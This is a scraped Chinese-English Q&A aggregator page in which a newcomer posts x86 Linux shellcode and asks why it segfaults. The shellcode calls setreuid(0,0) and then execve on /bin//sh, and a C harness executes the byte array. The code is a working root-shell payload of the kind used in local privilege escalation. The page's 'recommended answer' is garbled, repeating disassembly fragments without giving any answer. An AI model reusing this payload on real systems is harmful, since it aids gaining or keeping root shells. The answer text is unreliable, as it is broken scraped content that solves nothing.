帮助sigmentation故障 [英] help sigmentation fault
本文介绍了帮助sigmentation故障的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
刚刚学习如何在我的基本操作系统linux上编写shellcode。
每当我尝试执行此代码时我都会遇到分段错误
我对这个场景很新,我只想到id尝试代码
有人可以请帮助
这是代码
Hi, just learning how to write shellcode on my elementary os linux.
everytime i try executing this code i get a "segmentation fault"
im new to this scene and i just thought id try out the code
can someone please help
Here is the code
#include <stdlib.h>
char sc[] =
//white space, such as carriage returns doesn't matter
// setreuid(0,0)
"\x31\xc0"
// xor
//%eax,%eax
"\xb0\x46"
// mov
//$0x46,%al
"\x31\xdb"
// xor
//%ebx,%ebx
"\x31\xc9"
// xor
//%ecx,%ecx
"\xcd\x80"
// int
//$0x80
// spawn shellcode with execve
"\x31\xc0"
// xor
//%eax,%eax
"\x50"
// push
//%eax
"\x68\x2f\x2f\x73\x68"
// push
//$0x68732f2f
"\x68\x2f\x62\x69\x6e"
// push
//$0x6e69622f
"\x89\xe3"
// mov
//%esp,%ebx
"\x50"
// push
//%eax
"\x53"
// push
//%ebx
"\x89\xe1"
// mov
//%esp,%ecx
"\x31\xd2"
// xor
//%edx,%edx
"\xb0\x0b"
// mov
//$0xb,%al
"\xcd\x80";
// int
//$0x80
//(;)terminates the string
int main(){
void (*fp)(void);
fp = (void*)sc;
fp();
return 0;
}
推荐答案
0x46,%al
\ x31 \ xdb
// xor
// %ebx,%ebx
\ x31 \ xc9
// xor
// %ecx,%ecx
\ xcd \ x80
// int
//
0x46,%al "\x31\xdb" // xor //%ebx,%ebx "\x31\xc9" // xor //%ecx,%ecx "\xcd\x80" // int //
0x80
// 使用execve生成shellcode
\ x31 \ xc0
// xor
// %eax,% eax
\ x50
// push
// %eax
\ x68 \ x2f \ x2f \x73 \ x68
// push
//
0x80 // spawn shellcode with execve "\x31\xc0" // xor //%eax,%eax "\x50" // push //%eax "\x68\x2f\x2f\x73\x68" // push //
0x68732f2f
\ x68 \ x2f \ x62 \ x69 \ x6e
// push
//
0x68732f2f "\x68\x2f\x62\x69\x6e" // push //
这篇关于帮助sigmentation故障的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!
查看全文